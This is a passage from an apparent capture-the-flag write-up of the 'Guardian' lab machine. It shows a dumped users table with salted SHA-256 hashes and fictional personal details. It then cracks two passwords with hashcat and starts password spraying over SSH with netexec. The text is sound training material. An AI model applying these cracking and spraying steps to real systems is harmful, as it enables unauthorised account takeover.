<span class="go">+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username           | password_hash                                                    | full_name            | email                           | dob        | address                                                                       | user_role | status | created_at          | updated_at          |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
|       1 | admin              | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin         | admin@guardian.htb              | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645         | admin     | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       2 | jamil.enockson     | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson      | jamil.enockson@guardian.htb     | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295                  | admin     | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       3 | mark.pargetter     | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter       | mark.pargetter@guardian.htb     | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210                    | admin     | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       4 | valentijn.temby    | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 | Valentijn Temby      | valentijn.temby@guardian.htb    | 1994-05-06 | 7429 Gustavsen Road, Houston, Texas, United States, 77218                     | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       5 | leyla.rippin       | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 | Leyla Rippin         | leyla.rippin@guardian.htb       | 1999-01-30 | 7911 Tampico Place, Columbia, Missouri, United States, 65218                  | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       6 | perkin.fillon      | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 | Perkin Fillon        | perkin.fillon@guardian.htb      | 1991-03-19 | 3225 Olanta Drive, Atlanta, Georgia, United States, 30368                     | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       7 | cyrus.booth        | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 | Cyrus Booth          | cyrus.booth@guardian.htb        | 2001-04-03 | 4214 Dwight Drive, Ocala, Florida, United States, 34474                       | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       8 | sammy.treat        | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 | Sammy Treat          | sammy.treat@guardian.htb        | 1997-03-26 | 13188 Mount Croghan Trail, Houston, Texas, United States, 77085               | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|       9 | crin.hambidge      | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 | Crin Hambidge        | crin.hambidge@guardian.htb      | 1997-09-28 | 4884 Adrienne Way, Flint, Michigan, United States, 48555                      | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      10 | myra.galsworthy    | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 | Myra Galsworthy      | myra.galsworthy@guardian.htb    | 1992-02-20 | 13136 Schoenfeldt Street, Odessa, Texas, United States, 79769                 | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      11 | mireielle.feek     | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 | Mireielle Feek       | mireielle.feek@guardian.htb     | 2001-08-01 | 13452 Fussell Way, Raleigh, North Carolina, United States, 27690              | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      12 | vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a | Vivie Smallthwaite   | vivie.smallthwaite@guardian.htb | 1993-04-02 | 8653 Hemstead Road, Houston, Texas, United States, 77293                      | lecturer  | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      13 | GU0142023          | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 | Boone Basden         | GU0142023@guardian.htb          | 2001-09-12 | 10523 Panchos Way, Columbus, Ohio, United States, 43284                       | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      14 | GU6262023          | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f | Jamesy Currin        | GU6262023@guardian.htb          | 2001-11-28 | 13972 Bragg Avenue, Dulles, Virginia, United States, 20189                    | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      15 | GU0702025          | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 | Stephenie Vernau     | GU0702025@guardian.htb          | 1996-04-16 | 14649 Delgado Avenue, Tacoma, Washington, United States, 98481                | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      16 | GU0762023          | e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2 | Milly Saladine       | GU0762023@guardian.htb          | 1995-11-19 | 2031 Black Stone Place, San Francisco, California, United States, 94132       | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      17 | GU9492024          | 8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1 | Maggy Clout          | GU9492024@guardian.htb          | 2000-05-30 | 8322 Richland Road, Billings, Montana, United States, 59112                   | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      18 | GU9612024          | cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57 | Shawnee Bazire       | GU9612024@guardian.htb          | 2002-05-27 | 4364 Guadalupe Court, Pensacola, Florida, United States, 32520                | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      19 | GU7382024          | 7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a | Jobey Dearle-Palser  | GU7382024@guardian.htb          | 1998-04-14 | 4620 De Hoyos Place, Tampa, Florida, United States, 33625                     | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      20 | GU6632023          | 98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714 | Erika Sandilands     | GU6632023@guardian.htb          | 1994-06-08 | 1838 Herlong Court, San Bernardino, California, United States, 92410          | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      21 | GU1922024          | bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd | Alisander Turpie     | GU1922024@guardian.htb          | 1998-08-07 | 813 Brody Court, Bakersfield, California, United States, 93305                | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      22 | GU8032023          | 41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada | Wandie McRobbie      | GU8032023@guardian.htb          | 2002-01-16 | 5732 Eastfield Path, Peoria, Illinois, United States, 61629                   | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      23 | GU5852023          | e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a | Erinn Franklyn       | GU5852023@guardian.htb          | 2003-05-01 | 50 Lindsey Lane Court, Fairbanks, Alaska, United States, 99790                | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      24 | GU0712023          | e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a | Niel Slewcock        | GU0712023@guardian.htb          | 1996-05-04 | 3784 East Schwartz Boulevard, Gainesville, Florida, United States, 32610      | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      25 | GU1592025          | 1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71 | Chryste Lamputt      | GU1592025@guardian.htb          | 1993-05-22 | 6620 Anhinga Lane, Baton Rouge, Louisiana, United States, 70820               | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      26 | GU1112023          | 168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d | Kiersten Rampley     | GU1112023@guardian.htb          | 1997-06-28 | 9990 Brookdale Court, New York City, New York, United States, 10292           | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      27 | GU6432025          | a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6 | Gradeigh Espada      | GU6432025@guardian.htb          | 1999-06-06 | 5464 Lape Lane, Boise, Idaho, United States, 83757                            | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      28 | GU3042024          | d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab | Susanne Myhill       | GU3042024@guardian.htb          | 2003-04-12 | 11585 Homan Loop, Aiken, South Carolina, United States, 29805                 | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      29 | GU1482025          | be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f | Prudi Sweatman       | GU1482025@guardian.htb          | 1998-05-10 | 1533 Woodmill Terrace, Palo Alto, California, United States, 94302            | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      30 | GU3102024          | 3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706 | Kacey Qualtrough     | GU3102024@guardian.htb          | 1996-03-09 | 14579 Ayala Way, Spokane, Washington, United States, 99252                    | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      31 | GU7232023          | 4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6 | Thedrick Grimstead   | GU7232023@guardian.htb          | 1998-05-20 | 13789 Castlegate Court, Salt Lake City, Utah, United States, 84130            | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      32 | GU8912024          | 6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51 | Dominik Clipsham     | GU8912024@guardian.htb          | 1999-06-30 | 7955 Lock Street, Kansas City, Missouri, United States, 64160                 | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      33 | GU4752025          | 4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a | Iain Vinson          | GU4752025@guardian.htb          | 1990-10-13 | 10384 Zeeland Terrace, Cleveland, Ohio, United States, 44105                  | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      34 | GU9602024          | 6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2 | Ax Sweating          | GU9602024@guardian.htb          | 1994-06-22 | 4518 Vision Court, Sarasota, Florida, United States, 34233                    | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      35 | GU4382025          | 8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8 | Trixi Piolli         | GU4382025@guardian.htb          | 2001-02-02 | 11634 Reid Road, Charleston, South Carolina, United States, 29424             | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      36 | GU7352023          | 8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005 | Ronni Fulton         | GU7352023@guardian.htb          | 1998-11-07 | 4690 Currituck Terrace, Vero Beach, Florida, United States, 32964             | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      37 | GU3042025          | 1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f | William Lidstone     | GU3042025@guardian.htb          | 1998-03-18 | 11566 Summerchase Loop, Providence, Rhode Island, United States, 02905        | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      38 | GU3872024          | 12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a | Viola Bridywater     | GU3872024@guardian.htb          | 2003-07-21 | 9436 Erica Chambers Avenue, Bronx, New York, United States, 10454             | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      39 | GU7462025          | 5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa | Glennie Crilly       | GU7462025@guardian.htb          | 1995-01-26 | 3423 Carla Fink Court, Washington, District of Columbia, United States, 20580 | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      40 | GU3902023          | 6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b | Ninnette Lenchenko   | GU3902023@guardian.htb          | 1994-11-06 | 12277 Richey Road, Austin, Texas, United States, 78754                        | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      41 | GU1832025          | 6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f | Rivalee Coche        | GU1832025@guardian.htb          | 1990-10-23 | 2999 Indigo Avenue, Washington, District of Columbia, United States, 20022    | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      42 | GU3052024          | 1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f | Lodovico Atlay       | GU3052024@guardian.htb          | 1992-04-16 | 5803 Clarendon Court, Little Rock, Arkansas, United States, 72231             | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      43 | GU3612023          | 7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a | Maris Whyborne       | GU3612023@guardian.htb          | 1999-08-07 | 435 Quaint Court, Staten Island, New York, United States, 10305               | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      44 | GU7022023          | 7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8 | Diahann Forber       | GU7022023@guardian.htb          | 1998-12-17 | 10094 Ely Circle, New Haven, Connecticut, United States, 06533                | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      45 | GU1712025          | ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225 | Sinclair Tierney     | GU1712025@guardian.htb          | 1999-11-04 | 2885 Columbia Way, Seattle, Washington, United States, 98127                  | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      46 | GU9362023          | 8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592 | Leela Headon         | GU9362023@guardian.htb          | 1992-10-24 | 14477 Donelin Circle, El Paso, Texas, United States, 88589                    | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      47 | GU5092024          | 11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380 | Egon Jaques          | GU5092024@guardian.htb          | 1995-04-19 | 12886 Chimborazo Way, Fort Lauderdale, Florida, United States, 33315          | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      48 | GU5252023          | 70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa | Meade Newborn        | GU5252023@guardian.htb          | 2003-09-02 | 3679 Inman Mills Road, Orlando, Florida, United States, 32859                 | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      49 | GU8802025          | 7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76 | Tadeo Sproson        | GU8802025@guardian.htb          | 2002-08-01 | 4293 Tim Terrace, Springfield, Illinois, United States, 62776                 | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      50 | GU2222023          | d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd | Delia Theriot        | GU2222023@guardian.htb          | 2001-07-15 | 5847 Beechwood Avenue, Chattanooga, Tennessee, United States, 37450           | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      51 | GU9802023          | a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c | Ransell Dourin       | GU9802023@guardian.htb          | 1995-01-04 | 1809 Weaton Court, Chattanooga, Tennessee, United States, 37410               | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      52 | GU3122025          | e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a | Franklyn Kuhndel     | GU3122025@guardian.htb          | 1991-06-05 | 11809 Mccook Street, Shawnee Mission, Kansas, United States, 66210            | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      53 | GU2062025          | 0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8 | Petronille Scroggins | GU2062025@guardian.htb          | 2001-06-16 | 11794 Byron Place, Des Moines, Iowa, United States, 50981                     | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      54 | GU3992025          | b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0 | Kittie Maplesden     | GU3992025@guardian.htb          | 2001-10-04 | 6212 Matisse Avenue, Palatine, Illinois, United States, 60078                 | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      55 | GU1662024          | 5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5 | Gherardo Godon       | GU1662024@guardian.htb          | 2002-04-17 | 9997 De Hoyos Place, Simi Valley, California, United States, 93094            | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      56 | GU9972025          | 339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599 | Kippar Surpliss      | GU9972025@guardian.htb          | 1990-08-10 | 5372 Gentle Terrace, San Francisco, California, United States, 94110          | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      57 | GU6822025          | 298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482 | Sigvard Reubens      | GU6822025@guardian.htb          | 2003-04-23 | 5711 Magana Place, Memphis, Tennessee, United States, 38104                   | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      58 | GU7912023          | 8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021 | Carly Buckler        | GU7912023@guardian.htb          | 1991-09-07 | 2298 Hood Place, Springfield, Massachusetts, United States, 01105             | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      59 | GU3622024          | 1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf | Maryjo Gration       | GU3622024@guardian.htb          | 1997-04-25 | 1998 Junction Place, Irvine, California, United States, 92619                 | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      60 | GU2002023          | 3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2 | Paulina Mainwaring   | GU2002023@guardian.htb          | 1993-05-04 | 11891 Markridge Loop, Olympia, Washington, United States, 98506               | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      61 | GU3052023          | 2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8 | Curran Foynes        | GU3052023@guardian.htb          | 2000-12-04 | 7021 Cordelia Place, Paterson, New Jersey, United States, 07505               | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      62 | GU1462023          | 585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202 | Cissy Styan          | GU1462023@guardian.htb          | 1991-01-10 | 1138 Salinas Avenue, Orlando, Florida, United States, 32854                   | student   | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
|      63 | oxdf               | 2d5e85180e671372e4c1b34c3fc694c0deae26fb06dbb6635e60fd2e49f97e47 | oxdf hacker          | oxdf11111@guardian.htb          | 1990-01-01 | 123 Hack Street                                                               | admin     | active | 2026-02-25 11:47:41 | 2026-02-25 11:47:41 |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
63 rows in set (0.00 sec)
</span></code></pre></div></div>

<h3 id="crack-passwords">Crack Passwords</h3>

<p>These passwords are all salted with the salt from the <code class="language-plaintext highlighter-rouge">config.php</code> file, “8Sb)tM1vs1SS”. In <code class="language-plaintext highlighter-rouge">vim</code>, I can add this to the end of every line with <code class="language-plaintext highlighter-rouge">:%s/$/ string/</code>:</p>

<div class="language-plaintext code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code>694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS
1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6:8Sb)tM1vs1SS
7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61:8Sb)tM1vs1SS
4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471:8Sb)tM1vs1SS
23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6:8Sb)tM1vs1SS
c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2:8Sb)tM1vs1SS
9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75:8Sb)tM1vs1SS
ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4:8Sb)tM1vs1SS
18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3:8Sb)tM1vs1SS
b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a:8Sb)tM1vs1SS
5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829:8Sb)tM1vs1SS
87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f:8Sb)tM1vs1SS
48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1:8Sb)tM1vs1SS
e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2:8Sb)tM1vs1SS
8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1:8Sb)tM1vs1SS
cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57:8Sb)tM1vs1SS
7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a:8Sb)tM1vs1SS
98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714:8Sb)tM1vs1SS
bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd:8Sb)tM1vs1SS
41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada:8Sb)tM1vs1SS
e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a:8Sb)tM1vs1SS
e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a:8Sb)tM1vs1SS
1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71:8Sb)tM1vs1SS
168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d:8Sb)tM1vs1SS
a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6:8Sb)tM1vs1SS
d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab:8Sb)tM1vs1SS
be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f:8Sb)tM1vs1SS
3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706:8Sb)tM1vs1SS
4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6:8Sb)tM1vs1SS
6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51:8Sb)tM1vs1SS
4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a:8Sb)tM1vs1SS
6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2:8Sb)tM1vs1SS
8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8:8Sb)tM1vs1SS
8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005:8Sb)tM1vs1SS
1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f:8Sb)tM1vs1SS
12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a:8Sb)tM1vs1SS
5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa:8Sb)tM1vs1SS
6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b:8Sb)tM1vs1SS
6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f:8Sb)tM1vs1SS
1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f:8Sb)tM1vs1SS
7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a:8Sb)tM1vs1SS
7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8:8Sb)tM1vs1SS
ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225:8Sb)tM1vs1SS
8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592:8Sb)tM1vs1SS
11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380:8Sb)tM1vs1SS
70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa:8Sb)tM1vs1SS
7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76:8Sb)tM1vs1SS
d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd:8Sb)tM1vs1SS
a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c:8Sb)tM1vs1SS
e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a:8Sb)tM1vs1SS
0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8:8Sb)tM1vs1SS
b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0:8Sb)tM1vs1SS
5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5:8Sb)tM1vs1SS
339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599:8Sb)tM1vs1SS
298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482:8Sb)tM1vs1SS
8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021:8Sb)tM1vs1SS
1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf:8Sb)tM1vs1SS
3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2:8Sb)tM1vs1SS
2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8:8Sb)tM1vs1SS
585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202:8Sb)tM1vs1SS
2d5e85180e671372e4c1b34c3fc694c0deae26fb06dbb6635e60fd2e49f97e47:8Sb)tM1vs1SS
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">createuser.php</code> file shows how passwords are stored:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$password</span> <span class="o">=</span> <span class="nb">hash</span><span class="p">(</span><span class="s1">'sha256'</span><span class="p">,</span> <span class="nv">$password</span> <span class="mf">.</span> <span class="nv">$salt</span><span class="p">);</span>
</code></pre></div></div>

<p>That matches up with <code class="language-plaintext highlighter-rouge">hashcat</code> mode 1410, which is <code class="language-plaintext highlighter-rouge">sha256($pass.$salt)</code></p>

<p>It runs through all of <code class="language-plaintext highlighter-rouge">rockyou.txt</code> in 11 seconds on my machine, cracking two passwords:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat <span class="nt">-m</span> 1410 hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting
...[snip]...
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000
...[snip]...
</span></code></pre></div></div>

<h3 id="shell">Shell</h3>

<h4 id="validate-passwords">Validate Passwords</h4>

<p>I could check the database and see the users associated with the two cracked passwords, or I could just try all known users with both passwords:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ssh guardian.htb <span class="nt">-u</span> <span class="nb">users</span> <span class="nt">-p</span> passwords <span class="nt">--continue-on-success</span> 
<span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logmessage">[*]</span><span class="go"> SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
